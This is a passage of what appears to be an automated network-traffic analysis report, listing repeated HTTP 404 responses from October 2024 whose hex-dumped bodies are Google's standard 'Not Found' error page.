69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:11:33 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:11:34 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:11:37 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:11:39 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:11:40 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:11:43 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 